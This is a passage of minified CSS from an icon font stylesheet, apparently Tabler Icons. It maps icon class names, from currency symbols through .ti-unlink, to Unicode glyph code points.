e59"}.ti-currency-euro:before{content:"\eb85"}.ti-currency-forint:before{content:"\ee5a"}.ti-currency-frank:before{content:"\ee5b"}.ti-currency-krone-czech:before{content:"\ee5c"}.ti-currency-krone-danish:before{content:"\ee5d"}.ti-currency-krone-swedish:before{content:"\ee5e"}.ti-currency-leu:before{content:"\ee5f"}.ti-currency-lira:before{content:"\ee60"}.ti-currency-litecoin:before{content:"\ee61"}.ti-currency-naira:before{content:"\ee62"}.ti-currency-pound:before{content:"\ebac"}.ti-currency-real:before{content:"\ee63"}.ti-currency-renminbi:before{content:"\ee64"}.ti-currency-ripple:before{content:"\ee65"}.ti-currency-riyal:before{content:"\ee66"}.ti-currency-rubel:before{content:"\ee67"}.ti-currency-rupee:before{content:"\ebad"}.ti-currency-shekel:before{content:"\ee68"}.ti-currency-taka:before{content:"\ee69"}.ti-currency-tugrik:before{content:"\ee6a"}.ti-currency-won:before{content:"\ee6b"}.ti-currency-yen:before{content:"\ebae"}.ti-currency-zloty:before{content:"\ee6c"}.ti-current-location:before{content:"\ecef"}.ti-cursor-text:before{content:"\ee6d"}.ti-cut:before{content:"\ea86"}.ti-dashboard:before{content:"\ea87"}.ti-database:before{content:"\ea88"}.ti-database-export:before{content:"\ee6e"}.ti-database-import:before{content:"\ee6f"}.ti-database-off:before{content:"\ee70"}.ti-details:before{content:"\ee71"}.ti-device-analytics:before{content:"\ee72"}.ti-device-audio-tape:before{content:"\ee73"}.ti-device-cctv:before{content:"\ee74"}.ti-device-computer-camera:before{content:"\ee76"}.ti-device-computer-camera-off:before{content:"\ee75"}.ti-device-desktop:before{content:"\ea89"}.ti-device-desktop-analytics:before{content:"\ee77"}.ti-device-desktop-off:before{content:"\ee78"}.ti-device-floppy:before{content:"\eb62"}.ti-device-gamepad:before{content:"\eb63"}.ti-device-laptop:before{content:"\eb64"}.ti-device-mobile:before{content:"\ea8a"}.ti-device-mobile-message:before{content:"\ee79"}.ti-device-mobile-rotated:before{content:"\ecdb"}.ti-device-mobile-vibration:before{content:"\eb86"}.ti-device-speaker:before{content:"\ea8b"}.ti-device-tablet:before{content:"\ea8c"}.ti-device-tv:before{content:"\ea8d"}.ti-device-watch:before{content:"\ebf9"}.ti-devices:before{content:"\eb87"}.ti-devices-2:before{content:"\ed29"}.ti-devices-pc:before{content:"\ee7a"}.ti-diamond:before{content:"\eb65"}.ti-dice:before{content:"\eb66"}.ti-dimensions:before{content:"\ee7b"}.ti-direction:before{content:"\ebfb"}.ti-direction-horizontal:before{content:"\ebfa"}.ti-directions:before{content:"\ea8e"}.ti-disabled:before{content:"\ea8f"}.ti-disabled-2:before{content:"\ebaf"}.ti-disc:before{content:"\ea90"}.ti-discount:before{content:"\ebbd"}.ti-discount-2:before{content:"\ee7c"}.ti-divide:before{content:"\ed5c"}.ti-dna:before{content:"\ee7d"}.ti-dog-bowl:before{content:"\ef29"}.ti-dots:before{content:"\ea95"}.ti-dots-circle-horizontal:before{content:"\ea91"}.ti-dots-diagonal:before{content:"\ea93"}.ti-dots-diagonal-2:before{content:"\ea92"}.ti-dots-vertical:before{content:"\ea94"}.ti-download:before{content:"\ea96"}.ti-drag-drop:before{content:"\eb89"}.ti-drag-drop-2:before{content:"\eb88"}.ti-drone:before{content:"\ed79"}.ti-drone-off:before{content:"\ee7e"}.ti-droplet:before{content:"\ea97"}.ti-droplet-filled:before{content:"\ee80"}.ti-droplet-filled-2:before{content:"\ee7f"}.ti-droplet-half:before{content:"\ee82"}.ti-droplet-half-2:before{content:"\ee81"}.ti-droplet-off:before{content:"\ee83"}.ti-ear:before{content:"\ebce"}.ti-ear-off:before{content:"\ee84"}.ti-edit:before{content:"\ea98"}.ti-edit-circle:before{content:"\ee85"}.ti-egg:before{content:"\eb8a"}.ti-emphasis:before{content:"\ebcf"}.ti-equal:before{content:"\ee87"}.ti-equal-not:before{content:"\ee86"}.ti-eraser:before{content:"\eb8b"}.ti-exchange:before{content:"\ebe7"}.ti-exposure:before{content:"\eb8c"}.ti-external-link:before{content:"\ea99"}.ti-eye:before{content:"\ea9a"}.ti-eye-check:before{content:"\ee88"}.ti-eye-off:before{content:"\ecf0"}.ti-eyeglass:before{content:"\ee8a"}.ti-eyeglass-2:before{content:"\ee89"}.ti-face-id:before{content:"\ea9b"}.ti-fall:before{content:"\ecb9"}.ti-feather:before{content:"\ee8b"}.ti-fence:before{content:"\ef2a"}.ti-file:before{content:"\eaa4"}.ti-file-alert:before{content:"\ede6"}.ti-file-analytics:before{content:"\ede7"}.ti-file-certificate:before{content:"\ed4d"}.ti-file-check:before{content:"\ea9c"}.ti-file-code:before{content:"\ebd0"}.ti-file-code-2:before{content:"\ede8"}.ti-file-diff:before{content:"\ecf1"}.ti-file-dislike:before{content:"\ed2a"}.ti-file-download:before{content:"\ea9d"}.ti-file-export:before{content:"\ede9"}.ti-file-horizontal:before{content:"\ebb0"}.ti-file-import:before{content:"\edea"}.ti-file-info:before{content:"\edec"}.ti-file-invoice:before{content:"\eb67"}.ti-file-like:before{content:"\ed2b"}.ti-file-minus:before{content:"\ea9e"}.ti-file-music:before{content:"\ea9f"}.ti-file-off:before{content:"\ecf2"}.ti-file-phone:before{content:"\ecdc"}.ti-file-plus:before{content:"\eaa0"}.ti-file-report:before{content:"\eded"}.ti-file-search:before{content:"\ed5d"}.ti-file-shredder:before{content:"\eaa1"}.ti-file-symlink:before{content:"\ed53"}.ti-file-text:before{content:"\eaa2"}.ti-file-upload:before{content:"\ec91"}.ti-file-x:before{content:"\eaa3"}.ti-file-zip:before{content:"\ed4e"}.ti-files:before{content:"\edef"}.ti-files-off:before{content:"\edee"}.ti-filter:before{content:"\eaa5"}.ti-filter-off:before{content:"\ed2c"}.ti-fingerprint:before{content:"\ebd1"}.ti-firetruck:before{content:"\ebe8"}.ti-fish:before{content:"\ef2b"}.ti-flag:before{content:"\eaa6"}.ti-flag-2:before{content:"\ee8c"}.ti-flag-3:before{content:"\ee8d"}.ti-flame:before{content:"\ec2c"}.ti-flare:before{content:"\ee8e"}.ti-flask:before{content:"\ebd2"}.ti-flip-horizontal:before{content:"\eaa7"}.ti-flip-vertical:before{content:"\eaa8"}.ti-float-center:before{content:"\ebb1"}.ti-float-left:before{content:"\ebb2"}.ti-float-none:before{content:"\ed13"}.ti-float-right:before{content:"\ebb3"}.ti-focus:before{content:"\eb8d"}.ti-focus-2:before{content:"\ebd3"}.ti-fold:before{content:"\ed56"}.ti-fold-down:before{content:"\ed54"}.ti-fold-up:before{content:"\ed55"}.ti-folder:before{content:"\eaad"}.ti-folder-minus:before{content:"\eaaa"}.ti-folder-off:before{content:"\ed14"}.ti-folder-plus:before{content:"\eaab"}.ti-folder-x:before{content:"\eaac"}.ti-folders:before{content:"\eaae"}.ti-forbid:before{content:"\ebd5"}.ti-forbid-2:before{content:"\ebd4"}.ti-forklift:before{content:"\ebe9"}.ti-forms:before{content:"\ee8f"}.ti-frame:before{content:"\eaaf"}.ti-friends:before{content:"\eab0"}.ti-gas-station:before{content:"\ec7d"}.ti-gauge:before{content:"\eab1"}.ti-geometry:before{content:"\ee90"}.ti-ghost:before{content:"\eb8e"}.ti-gift:before{content:"\eb68"}.ti-git-branch:before{content:"\eab2"}.ti-git-commit:before{content:"\eab3"}.ti-git-compare:before{content:"\eab4"}.ti-git-fork:before{content:"\eb8f"}.ti-git-merge:before{content:"\eab5"}.ti-git-pull-request:before{content:"\eab6"}.ti-glass:before{content:"\eab8"}.ti-glass-full:before{content:"\eab7"}.ti-glass-off:before{content:"\ee91"}.ti-globe:before{content:"\eab9"}.ti-golf:before{content:"\ed8c"}.ti-gps:before{content:"\ed7a"}.ti-grain:before{content:"\ee92"}.ti-grid-dots:before{content:"\eaba"}.ti-grip-horizontal:before{content:"\ec00"}.ti-grip-vertical:before{content:"\ec01"}.ti-growth:before{content:"\ee93"}.ti-h-1:before{content:"\ec94"}.ti-h-2:before{content:"\ec95"}.ti-h-3:before{content:"\ec96"}.ti-h-4:before{content:"\ec97"}.ti-h-5:before{content:"\ec98"}.ti-h-6:before{content:"\ec99"}.ti-hand-finger:before{content:"\ee94"}.ti-hand-little-finger:before{content:"\ee95"}.ti-hand-middle-finger:before{content:"\ec2d"}.ti-hand-off:before{content:"\ed15"}.ti-hand-ring-finger:before{content:"\ee96"}.ti-hand-rock:before{content:"\ee97"}.ti-hand-stop:before{content:"\ec2e"}.ti-hand-three-fingers:before{content:"\ee98"}.ti-hand-two-fingers:before{content:"\ee99"}.ti-hanger:before{content:"\ee9a"}.ti-hash:before{content:"\eabc"}.ti-heading:before{content:"\ee9b"}.ti-headphones:before{content:"\eabd"}.ti-headphones-off:before{content:"\ed1d"}.ti-headset:before{content:"\eb90"}.ti-heart:before{content:"\eabe"}.ti-heart-broken:before{content:"\ecba"}.ti-helicopter:before{content:"\ed8e"}.ti-helicopter-landing:before{content:"\ed8d"}.ti-help:before{content:"\eabf"}.ti-hexagon:before{content:"\ec02"}.ti-hexagon-off:before{content:"\ee9c"}.ti-hierarchy:before{content:"\ee9e"}.ti-hierarchy-2:before{content:"\ee9d"}.ti-history:before{content:"\ebea"}.ti-home:before{content:"\eac1"}.ti-home-2:before{content:"\eac0"}.ti-ice-cream:before{content:"\eac2"}.ti-ice-cream-2:before{content:"\ee9f"}.ti-id:before{content:"\eac3"}.ti-inbox:before{content:"\eac4"}.ti-indent-decrease:before{content:"\eb91"}.ti-indent-increase:before{content:"\eb92"}.ti-infinity:before{content:"\eb69"}.ti-info-circle:before{content:"\eac5"}.ti-info-square:before{content:"\eac6"}.ti-italic:before{content:"\eb93"}.ti-jump-rope:before{content:"\ed8f"}.ti-karate:before{content:"\ed32"}.ti-key:before{content:"\eac7"}.ti-keyboard:before{content:"\ebd6"}.ti-keyboard-hide:before{content:"\ec7e"}.ti-keyboard-off:before{content:"\eea0"}.ti-keyboard-show:before{content:"\ec7f"}.ti-language:before{content:"\ebbe"}.ti-layers-difference:before{content:"\eac8"}.ti-layers-intersect:before{content:"\eac9"}.ti-layers-linked:before{content:"\eea1"}.ti-layers-subtract:before{content:"\eaca"}.ti-layers-union:before{content:"\eacb"}.ti-layout:before{content:"\eadb"}.ti-layout-2:before{content:"\eacc"}.ti-layout-align-bottom:before{content:"\eacd"}.ti-layout-align-center:before{content:"\eace"}.ti-layout-align-left:before{content:"\eacf"}.ti-layout-align-middle:before{content:"\ead0"}.ti-layout-align-right:before{content:"\ead1"}.ti-layout-align-top:before{content:"\ead2"}.ti-layout-bottombar:before{content:"\ead3"}.ti-layout-cards:before{content:"\ec13"}.ti-layout-columns:before{content:"\ead4"}.ti-layout-distribute-horizontal:before{content:"\ead5"}.ti-layout-distribute-vertical:before{content:"\ead6"}.ti-layout-grid:before{content:"\edba"}.ti-layout-grid-add:before{content:"\edb9"}.ti-layout-kanban:before{content:"\ec3f"}.ti-layout-list:before{content:"\ec14"}.ti-layout-navbar:before{content:"\ead7"}.ti-layout-rows:before{content:"\ead8"}.ti-layout-sidebar:before{content:"\eada"}.ti-layout-sidebar-right:before{content:"\ead9"}.ti-leaf:before{content:"\ed4f"}.ti-lego:before{content:"\eadc"}.ti-lemon:before{content:"\ef10"}.ti-letter-a:before{content:"\ec50"}.ti-letter-b:before{content:"\ec51"}.ti-letter-c:before{content:"\ec52"}.ti-letter-case:before{content:"\eea5"}.ti-letter-case-lower:before{content:"\eea2"}.ti-letter-case-toggle:before{content:"\eea3"}.ti-letter-case-upper:before{content:"\eea4"}.ti-letter-d:before{content:"\ec53"}.ti-letter-e:before{content:"\ec54"}.ti-letter-f:before{content:"\ec55"}.ti-letter-g:before{content:"\ec56"}.ti-letter-h:before{content:"\ec57"}.ti-letter-i:before{content:"\ec58"}.ti-letter-j:before{content:"\ec59"}.ti-letter-k:before{content:"\ec5a"}.ti-letter-l:before{content:"\ec5b"}.ti-letter-m:before{content:"\ec5c"}.ti-letter-n:before{content:"\ec5d"}.ti-letter-o:before{content:"\ec5e"}.ti-letter-p:before{content:"\ec5f"}.ti-letter-q:before{content:"\ec60"}.ti-letter-r:before{content:"\ec61"}.ti-letter-s:before{content:"\ec62"}.ti-letter-spacing:before{content:"\eea6"}.ti-letter-t:before{content:"\ec63"}.ti-letter-u:before{content:"\ec64"}.ti-letter-v:before{content:"\ec65"}.ti-letter-w:before{content:"\ec66"}.ti-letter-x:before{content:"\ec67"}.ti-letter-y:before{content:"\ec68"}.ti-letter-z:before{content:"\ec69"}.ti-letters-case:before{content:"\ec6a"}.ti-license:before{content:"\ebc0"}.ti-lifebuoy:before{content:"\eadd"}.ti-line:before{content:"\ec40"}.ti-line-dashed:before{content:"\eea7"}.ti-line-dotted:before{content:"\eea8"}.ti-line-height:before{content:"\eb94"}.ti-link:before{content:"\eade"}.ti-list:before{content:"\eb6b"}.ti-list-check:before{content:"\eb6a"}.ti-list-numbers:before{content:"\ef11"}.ti-list-search:before{content:"\eea9"}.ti-live-photo:before{content:"\eadf"}.ti-live-view:before{content:"\ec6b"}.ti-loader:before{content:"\eca3"}.ti-loader-quarter:before{content:"\eca2"}.ti-location:before{content:"\eae0"}.ti-lock:before{content:"\eae2"}.ti-lock-access:before{content:"\eeaa"}.ti-lock-off:before{content:"\ed1e"}.ti-lock-open:before{content:"\eae1"}.ti-login:before{content:"\eba7"}.ti-logout:before{content:"\eba8"}.ti-macro:before{content:"\eeab"}.ti-magnet:before{content:"\eae3"}.ti-mail:before{content:"\eae5"}.ti-mail-forward:before{content:"\eeac"}.ti-mail-opened:before{content:"\eae4"}.ti-mailbox:before{content:"\eead"}.ti-man:before{content:"\eae6"}.ti-manual-gearbox:before{content:"\ed7b"}.ti-map:before{content:"\eae9"}.ti-map-2:before{content:"\eae7"}.ti-map-pin:before{content:"\eae8"}.ti-map-pin-off:before{content:"\ecf3"}.ti-map-pins:before{content:"\ed5e"}.ti-markdown:before{content:"\ec41"}.ti-marquee:before{content:"\ec77"}.ti-marquee-2:before{content:"\eeae"}.ti-mars:before{content:"\ec80"}.ti-mask:before{content:"\eeb0"}.ti-mask-off:before{content:"\eeaf"}.ti-massage:before{content:"\eeb1"}.ti-math:before{content:"\ebeb"}.ti-math-function:before{content:"\eeb2"}.ti-math-symbols:before{content:"\eeb3"}.ti-maximize:before{content:"\eaea"}.ti-meat:before{content:"\ef12"}.ti-medal:before{content:"\ec78"}.ti-medical-cross:before{content:"\ec2f"}.ti-menu:before{content:"\eaeb"}.ti-menu-2:before{content:"\ec42"}.ti-message:before{content:"\eaef"}.ti-message-2:before{content:"\eaec"}.ti-message-circle:before{content:"\eaed"}.ti-message-circle-2:before{content:"\ed3f"}.ti-message-circle-off:before{content:"\ed40"}.ti-message-dots:before{content:"\eaee"}.ti-message-off:before{content:"\ed41"}.ti-message-plus:before{content:"\ec9a"}.ti-message-report:before{content:"\ec9b"}.ti-messages:before{content:"\eb6c"}.ti-messages-off:before{content:"\ed42"}.ti-microphone:before{content:"\eaf0"}.ti-microphone-2:before{content:"\ef2c"}.ti-microphone-off:before{content:"\ed16"}.ti-milk:before{content:"\ef13"}.ti-minimize:before{content:"\eaf1"}.ti-minus:before{content:"\eaf2"}.ti-minus-vertical:before{content:"\eeb4"}.ti-mist:before{content:"\ec30"}.ti-mood-boy:before{content:"\ed2d"}.ti-mood-confuzed:before{content:"\eaf3"}.ti-mood-crazy-happy:before{content:"\ed90"}.ti-mood-cry:before{content:"\ecbb"}.ti-mood-empty:before{content:"\eeb5"}.ti-mood-happy:before{content:"\eaf4"}.ti-mood-kid:before{content:"\ec03"}.ti-mood-neutral:before{content:"\eaf5"}.ti-mood-sad:before{content:"\eaf6"}.ti-mood-smile:before{content:"\eaf7"}.ti-mood-suprised:before{content:"\ec04"}.ti-mood-tongue:before{content:"\eb95"}.ti-moon:before{content:"\eaf8"}.ti-moon-2:before{content:"\ece6"}.ti-moon-stars:before{content:"\ece7"}.ti-moped:before{content:"\ecbc"}.ti-motorbike:before{content:"\eeb6"}.ti-mouse:before{content:"\eaf9"}.ti-movie:before{content:"\eafa"}.ti-mug:before{content:"\eafb"}.ti-mushroom:before{content:"\ef14"}.ti-music:before{content:"\eafc"}.ti-new-section:before{content:"\ebc1"}.ti-news:before{content:"\eafd"}.ti-nfc:before{content:"\eeb7"}.ti-note:before{content:"\eb6d"}.ti-notebook:before{content:"\eb96"}.ti-notes:before{content:"\eb6e"}.ti-notification:before{content:"\eafe"}.ti-number-0:before{content:"\edf0"}.ti-number-1:before{content:"\edf1"}.ti-number-2:before{content:"\edf2"}.ti-number-3:before{content:"\edf3"}.ti-number-4:before{content:"\edf4"}.ti-number-5:before{content:"\edf5"}.ti-number-6:before{content:"\edf6"}.ti-number-7:before{content:"\edf7"}.ti-number-8:before{content:"\edf8"}.ti-number-9:before{content:"\edf9"}.ti-octagon:before{content:"\ecbd"}.ti-octagon-off:before{content:"\eeb8"}.ti-old:before{content:"\eeb9"}.ti-olympics:before{content:"\eeba"}.ti-omega:before{content:"\eb97"}.ti-outlet:before{content:"\ebd7"}.ti-overline:before{content:"\eebb"}.ti-package:before{content:"\eaff"}.ti-pacman:before{content:"\eebc"}.ti-page-break:before{content:"\ec81"}.ti-paint:before{content:"\eb00"}.ti-palette:before{content:"\eb01"}.ti-panorama-horizontal:before{content:"\ed33"}.ti-panorama-vertical:before{content:"\ed34"}.ti-paperclip:before{content:"\eb02"}.ti-parachute:before{content:"\ed7c"}.ti-parentheses:before{content:"\ebd8"}.ti-parking:before{content:"\eb03"}.ti-peace:before{content:"\ecbe"}.ti-pencil:before{content:"\eb04"}.ti-pennant:before{content:"\ed7d"}.ti-pepper:before{content:"\ef15"}.ti-percentage:before{content:"\ecf4"}.ti-perspective:before{content:"\eebd"}.ti-phone:before{content:"\eb09"}.ti-phone-call:before{content:"\eb05"}.ti-phone-calling:before{content:"\ec43"}.ti-phone-check:before{content:"\ec05"}.ti-phone-incoming:before{content:"\eb06"}.ti-phone-off:before{content:"\ecf5"}.ti-phone-outgoing:before{content:"\eb07"}.ti-phone-pause:before{content:"\eb08"}.ti-phone-plus:before{content:"\ec06"}.ti-phone-x:before{content:"\ec07"}.ti-photo:before{content:"\eb0a"}.ti-photo-off:before{content:"\ecf6"}.ti-physotherapist:before{content:"\eebe"}.ti-picture-in-picture:before{content:"\ed35"}.ti-picture-in-picture-off:before{content:"\ed43"}.ti-picture-in-picture-on:before{content:"\ed44"}.ti-pill:before{content:"\ec44"}.ti-pin:before{content:"\ec9c"}.ti-pinned:before{content:"\ed60"}.ti-pinned-off:before{content:"\ed5f"}.ti-pizza:before{content:"\edbb"}.ti-plane:before{content:"\eb6f"}.ti-plane-arrival:before{content:"\eb99"}.ti-plane-departure:before{content:"\eb9a"}.ti-planet:before{content:"\ec08"}.ti-plant:before{content:"\ed50"}.ti-plant-2:before{content:"\ed7e"}.ti-play-card:before{content:"\eebf"}.ti-player-pause:before{content:"\ed45"}.ti-player-play:before{content:"\ed46"}.ti-player-record:before{content:"\ed47"}.ti-player-skip-back:before{content:"\ed48"}.ti-player-skip-forward:before{content:"\ed49"}.ti-player-stop:before{content:"\ed4a"}.ti-player-track-next:before{content:"\ed4b"}.ti-player-track-prev:before{content:"\ed4c"}.ti-playlist:before{content:"\eec0"}.ti-plug:before{content:"\ebd9"}.ti-plus:before{content:"\eb0b"}.ti-point:before{content:"\eb0c"}.ti-pokeball:before{content:"\eec1"}.ti-polaroid:before{content:"\eec2"}.ti-pool:before{content:"\ed91"}.ti-power:before{content:"\eb0d"}.ti-pray:before{content:"\ecbf"}.ti-presentation:before{content:"\eb70"}.ti-presentation-analytics:before{content:"\eec3"}.ti-printer:before{content:"\eb0e"}.ti-prompt:before{content:"\eb0f"}.ti-propeller:before{content:"\eec4"}.ti-puzzle:before{content:"\eb10"}.ti-pyramid:before{content:"\eec5"}.ti-qrcode:before{content:"\eb11"}.ti-question-mark:before{content:"\ec9d"}.ti-radio:before{content:"\ef2d"}.ti-radioactive:before{content:"\ecc0"}.ti-radius-bottom-left:before{content:"\eec6"}.ti-radius-bottom-right:before{content:"\eec7"}.ti-radius-top-left:before{content:"\eec8"}.ti-radius-top-right:before{content:"\eec9"}.ti-rainbow:before{content:"\edbc"}.ti-receipt:before{content:"\edfd"}.ti-receipt-2:before{content:"\edfa"}.ti-receipt-off:before{content:"\edfb"}.ti-receipt-refund:before{content:"\edfc"}.ti-receipt-tax:before{content:"\edbd"}.ti-recharging:before{content:"\eeca"}.ti-record-mail:before{content:"\eb12"}.ti-rectangle:before{content:"\ed37"}.ti-rectangle-vertical:before{content:"\ed36"}.ti-recycle:before{content:"\eb9b"}.ti-refresh:before{content:"\eb13"}.ti-refresh-alert:before{content:"\ed57"}.ti-registered:before{content:"\eb14"}.ti-relation-many-to-many:before{content:"\ed7f"}.ti-relation-one-to-many:before{content:"\ed80"}.ti-relation-one-to-one:before{content:"\ed81"}.ti-repeat:before{content:"\eb72"}.ti-repeat-once:before{content:"\eb71"}.ti-replace:before{content:"\ebc7"}.ti-report:before{content:"\eece"}.ti-report-analytics:before{content:"\eecb"}.ti-report-medical:before{content:"\eecc"}.ti-report-money:before{content:"\eecd"}.ti-resize:before{content:"\eecf"}.ti-ripple:before{content:"\ed82"}.ti-road-sign:before{content:"\ecdd"}.ti-rocket:before{content:"\ec45"}.ti-rotate:before{content:"\eb16"}.ti-rotate-2:before{content:"\ebb4"}.ti-rotate-clockwise:before{content:"\eb15"}.ti-rotate-clockwise-2:before{content:"\ebb5"}.ti-rotate-rectangle:before{content:"\ec15"}.ti-route:before{content:"\eb17"}.ti-router:before{content:"\eb18"}.ti-row-insert-bottom:before{content:"\eed0"}.ti-row-insert-top:before{content:"\eed1"}.ti-rss:before{content:"\eb19"}.ti-ruler:before{content:"\eb1a"}.ti-ruler-2:before{content:"\eed2"}.ti-run:before{content:"\ec82"}.ti-sailboat:before{content:"\ec83"}.ti-salt:before{content:"\ef16"}.ti-satellite:before{content:"\eed3"}.ti-sausage:before{content:"\ef17"}.ti-scale:before{content:"\ebc2"}.ti-scan:before{content:"\ebc8"}.ti-school:before{content:"\ecf7"}.ti-scissors:before{content:"\eb1b"}.ti-scooter:before{content:"\ec6c"}.ti-scooter-electric:before{content:"\ecc1"}.ti-screen-share:before{content:"\ed18"}.ti-screen-share-off:before{content:"\ed17"}.ti-scuba-mask:before{content:"\eed4"}.ti-search:before{content:"\eb1c"}.ti-section:before{content:"\eed5"}.ti-seeding:before{content:"\ed51"}.ti-select:before{content:"\ec9e"}.ti-selector:before{content:"\eb1d"}.ti-send:before{content:"\eb1e"}.ti-separator:before{content:"\ebda"}.ti-separator-horizontal:before{content:"\ec79"}.ti-separator-vertical:before{content:"\ec7a"}.ti-server:before{content:"\eb1f"}.ti-servicemark:before{content:"\ec09"}.ti-settings:before{content:"\eb20"}.ti-settings-automation:before{content:"\eed6"}.ti-shadow:before{content:"\eed8"}.ti-shadow-off:before{content:"\eed7"}.ti-shape:before{content:"\eb9c"}.ti-shape-2:before{content:"\eed9"}.ti-shape-3:before{content:"\eeda"}.ti-share:before{content:"\eb21"}.ti-shield:before{content:"\eb24"}.ti-shield-check:before{content:"\eb22"}.ti-shield-lock:before{content:"\ed58"}.ti-shield-off:before{content:"\ecf8"}.ti-shield-x:before{content:"\eb23"}.ti-ship:before{content:"\ec84"}.ti-shirt:before{content:"\ec0a"}.ti-shopping-cart:before{content:"\eb25"}.ti-shopping-cart-discount:before{content:"\eedb"}.ti-shopping-cart-off:before{content:"\eedc"}.ti-shopping-cart-plus:before{content:"\eedd"}.ti-shopping-cart-x:before{content:"\eede"}.ti-shredder:before{content:"\eedf"}.ti-signature:before{content:"\eee0"}.ti-sitemap:before{content:"\eb9d"}.ti-skateboard:before{content:"\ecc2"}.ti-slice:before{content:"\ebdb"}.ti-slideshow:before{content:"\ebc9"}.ti-smart-home:before{content:"\ecde"}.ti-smoking:before{content:"\ecc4"}.ti-smoking-no:before{content:"\ecc3"}.ti-snowflake:before{content:"\ec0b"}.ti-soccer-field:before{content:"\ed92"}.ti-social:before{content:"\ebec"}.ti-sock:before{content:"\eee1"}.ti-sort-ascending:before{content:"\eb26"}.ti-sort-ascending-2:before{content:"\eee2"}.ti-sort-ascending-letters:before{content:"\ef18"}.ti-sort-ascending-numbers:before{content:"\ef19"}.ti-sort-descending:before{content:"\eb27"}.ti-sort-descending-2:before{content:"\eee3"}.ti-sort-descending-letters:before{content:"\ef1a"}.ti-sort-descending-numbers:before{content:"\ef1b"}.ti-soup:before{content:"\ef2e"}.ti-space:before{content:"\ec0c"}.ti-speakerphone:before{content:"\ed61"}.ti-speedboat:before{content:"\ed93"}.ti-sport-billard:before{content:"\eee4"}.ti-square:before{content:"\eb2c"}.ti-square-0:before{content:"\eee5"}.ti-square-1:before{content:"\eee6"}.ti-square-2:before{content:"\eee7"}.ti-square-3:before{content:"\eee8"}.ti-square-4:before{content:"\eee9"}.ti-square-5:before{content:"\eeea"}.ti-square-6:before{content:"\eeeb"}.ti-square-7:before{content:"\eeec"}.ti-square-8:before{content:"\eeed"}.ti-square-9:before{content:"\eeee"}.ti-square-check:before{content:"\eb28"}.ti-square-dot:before{content:"\ed59"}.ti-square-forbid:before{content:"\ed5b"}.ti-square-forbid-2:before{content:"\ed5a"}.ti-square-minus:before{content:"\eb29"}.ti-square-off:before{content:"\eeef"}.ti-square-plus:before{content:"\eb2a"}.ti-square-root:before{content:"\eef1"}.ti-square-root-2:before{content:"\eef0"}.ti-square-rotated:before{content:"\ecdf"}.ti-square-rotated-off:before{content:"\eef2"}.ti-square-toggle:before{content:"\eef4"}.ti-square-toggle-horizontal:before{content:"\eef3"}.ti-square-x:before{content:"\eb2b"}.ti-squares-diagonal:before{content:"\eef5"}.ti-squares-filled:before{content:"\eef6"}.ti-stack:before{content:"\eb2d"}.ti-stack-2:before{content:"\eef7"}.ti-stairs:before{content:"\eca6"}.ti-stairs-down:before{content:"\eca4"}.ti-stairs-up:before{content:"\eca5"}.ti-star:before{content:"\eb2e"}.ti-star-half:before{content:"\ed19"}.ti-star-off:before{content:"\ed62"}.ti-stars:before{content:"\ed38"}.ti-steering-wheel:before{content:"\ec7b"}.ti-step-into:before{content:"\ece0"}.ti-step-out:before{content:"\ece1"}.ti-stethoscope:before{content:"\edbe"}.ti-sticker:before{content:"\eb2f"}.ti-strikethrough:before{content:"\eb9e"}.ti-submarine:before{content:"\ed94"}.ti-subscript:before{content:"\eb9f"}.ti-subtask:before{content:"\ec9f"}.ti-sum:before{content:"\eb73"}.ti-sun:before{content:"\eb30"}.ti-sun-off:before{content:"\ed63"}.ti-sunrise:before{content:"\ef1c"}.ti-sunset:before{content:"\ec31"}.ti-superscript:before{content:"\eba0"}.ti-swimming:before{content:"\ec92"}.ti-switch:before{content:"\eb33"}.ti-switch-2:before{content:"\edbf"}.ti-switch-3:before{content:"\edc0"}.ti-switch-horizontal:before{content:"\eb31"}.ti-switch-vertical:before{content:"\eb32"}.ti-table:before{content:"\eba1"}.ti-table-export:before{content:"\eef8"}.ti-table-import:before{content:"\eef9"}.ti-table-off:before{content:"\eefa"}.ti-tag:before{content:"\eb34"}.ti-tallymark-1:before{content:"\ec46"}.ti-tallymark-2:before{content:"\ec47"}.ti-tallymark-3:before{content:"\ec48"}.ti-tallymark-4:before{content:"\ec49"}.ti-tallymarks:before{content:"\ec4a"}.ti-tank:before{content:"\ed95"}.ti-target:before{content:"\eb35"}.ti-temperature:before{content:"\eb38"}.ti-temperature-celsius:before{content:"\eb36"}.ti-temperature-fahrenheit:before{content:"\eb37"}.ti-temperature-minus:before{content:"\ebed"}.ti-temperature-plus:before{content:"\ebee"}.ti-template:before{content:"\eb39"}.ti-tent:before{content:"\eefb"}.ti-terminal:before{content:"\ebdc"}.ti-terminal-2:before{content:"\ebef"}.ti-test-pipe:before{content:"\eb3a"}.ti-text-direction-ltr:before{content:"\eefc"}.ti-text-direction-rtl:before{content:"\eefd"}.ti-text-wrap:before{content:"\ebdd"}.ti-text-wrap-disabled:before{content:"\eca7"}.ti-thumb-down:before{content:"\eb3b"}.ti-thumb-up:before{content:"\eb3c"}.ti-ticket:before{content:"\eb3d"}.ti-tilt-shift:before{content:"\eefe"}.ti-tir:before{content:"\ebf0"}.ti-toggle-left:before{content:"\eb3e"}.ti-toggle-right:before{content:"\eb3f"}.ti-tool:before{content:"\eb40"}.ti-tools:before{content:"\ebca"}.ti-tools-kitchen:before{content:"\ed64"}.ti-tools-kitchen-2:before{content:"\eeff"}.ti-tornado:before{content:"\ece2"}.ti-tournament:before{content:"\ecd0"}.ti-track:before{content:"\ef00"}.ti-tractor:before{content:"\ec0d"}.ti-trademark:before{content:"\ec0e"}.ti-traffic-cone:before{content:"\ec0f"}.ti-traffic-lights:before{content:"\ed39"}.ti-train:before{content:"\ed96"}.ti-transfer-in:before{content:"\ef2f"}.ti-transfer-out:before{content:"\ef30"}.ti-trash:before{content:"\eb41"}.ti-trash-off:before{content:"\ed65"}.ti-tree:before{content:"\ef01"}.ti-trees:before{content:"\ec10"}.ti-trending-down:before{content:"\eb42"}.ti-trending-down-2:before{content:"\edc1"}.ti-trending-down-3:before{content:"\edc2"}.ti-trending-up:before{content:"\eb43"}.ti-trending-up-2:before{content:"\edc3"}.ti-trending-up-3:before{content:"\edc4"}.ti-triangle:before{content:"\eb44"}.ti-triangle-off:before{content:"\ef02"}.ti-triangle-square-circle:before{content:"\ece8"}.ti-trident:before{content:"\ecc5"}.ti-trophy:before{content:"\eb45"}.ti-truck:before{content:"\ebc4"}.ti-truck-delivery:before{content:"\ec4b"}.ti-truck-off:before{content:"\ef03"}.ti-truck-return:before{content:"\ec4c"}.ti-typography:before{content:"\ebc5"}.ti-umbrella:before{content:"\ebf1"}.ti-underline:before{content:"\eba2"}.ti-unlink:before{content:"\eb46"}